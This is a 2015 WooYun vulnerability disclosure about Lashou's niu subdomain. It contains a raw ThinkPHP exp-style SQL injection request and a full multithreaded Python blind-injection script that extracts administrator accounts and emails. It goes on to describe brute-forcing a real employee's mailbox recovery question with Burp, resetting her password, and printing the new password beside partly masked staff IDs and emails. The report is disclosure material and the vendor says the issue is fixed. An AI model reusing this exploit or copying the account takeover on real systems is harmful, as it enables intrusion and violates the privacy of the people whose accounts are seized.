当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118538

漏洞标题:拉手网分站sql注入+邮箱设计缺陷

相关厂商:拉手网

漏洞作者: loopx9

提交时间:2015-06-06 09:28

修复时间:2015-06-11 11:07

公开时间:2015-06-11 11:07

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-06: 细节已通知厂商并且等待厂商处理中
2015-06-08: 厂商已经确认,细节仅向厂商公开
2015-06-11: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

注入。

详细说明:

url地址: http://niu.lashou.com/index.php 标题是拉手网后台不知是不是。

POST http://niu.lashou.com/public/Public/out_password_set HTTP/1.1
Host: niu.lashou.com
Proxy-Connection: keep-alive
Content-Length: 48
Accept: */*
Origin: http://niu.lashou.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
loginType=1&account[0]=exp&account[1]==-1 or 1=1


还是thinkphp框架注入,感觉使用thinkphp开发,一个不小心就容易被坑。

1.jpg


2.jpg


本想通过注入获得动态密码尝试登录进去看看,但注入出来的动态密码好像是部分hash,没法利用。
注入测试脚本:

#coding=utf-8
import sys,urllib2
import threading
from multiprocessing.dummy import Pool
from multiprocessing.dummy import Lock
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
def request(URL, data):
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)

try:
request = urllib2.urlopen(req, data)
except:
return ''
return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if mid == left:
lock.acquire()
result[index-1]= chr(mid)
sys.stdout.write('\r%s' % 'tables: '+''.join(result).strip('*'))
sys.stdout.flush()
lock.release()
break
payload = "=-1 or 1=if(ascii(substring((select group_concat(account,0x3a,email) from houtai_user where status=1),%s,1))<%s,1,2)" % (index, mid)
param = {'loginType': '1', 'account[0]':'exp', 'account[1]': payload}
html = request('http://niu.lashou.com/public/Public/out_password_set', urllib.urlencode(param))
verify = '超级管理员账号不允许获取动态密码'
if verify in html:
right = mid
else:
left = mid
def multi_run_wrapper(args):
return binary_sqli(*args)

if __name__ == '__main__':
result=list('*'*500)
lock=Lock()
args = []
for i in range(1,500):
args.append((32, 127, i))
pool = Pool(10)
out = pool.map(multi_run_wrapper, args)
pool.close()
pool.join()


动态密码是发送到拉手网邮箱的,于是转向邮箱,尝试破解一个邮箱账号。
利用注入得到一些邮箱列表,在http://mail.lashou-inc.com 上尝试密码找回。
发现密码找回方式为密保问题,而且没有错误限制次数,可以暴力破解。
找到个妹子的邮箱,密保问题为生日。

wangyuan.jpg


于是操起burp跑起。

burp.jpg


原来是个80年的姐姐。

burp2.jpg


000000. 密码强度不够,设置一个复杂点的密码: wangyuan!@#$%^0000
登录邮箱后得到动态密码:

mail.jpg


却还是登录不了后台,囧。。。
可能还限制访问ip..

漏洞证明:

部分工号,email:

admin:lip******@lashou-inc.com
10*****8:lij******@lashou-inc.com
10*****4:tangwe******@lashou-inc.com
10*****6:zhangwen******@lashou-inc.com
10*****4:wan******@lashou-inc.com
10*****9:wangju******@lashou-inc.com
10*****6:zhangxia******@lashou-inc.com
10*****6:lvx******@lashou-inc.com
10*****7:che******@lashou-inc.com
10*****4:yuji******@lashou-inc.com
10*****7:lish******@lashou-inc.com
10*****7:liangs******@lashou-inc.com
10*****5:he******@lashou-inc.com
10*****1:lif******@lashou-inc.com
10*****4:******@lashou-inc.com


[email protected] 密码改成了: wangyuan!@#$%^0000

修复方案:

修复注入;
限制访问后台;
邮箱密码找回限制错误次数;
waf;

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-06-08 10:47

厂商回复:

问题已经告知研发,正在处理.谢谢您的关注,对于您写的漏洞报告,确实内容详实,希望您保持.万谢.

最新状态:

2015-06-11:漏洞修复完成.谢谢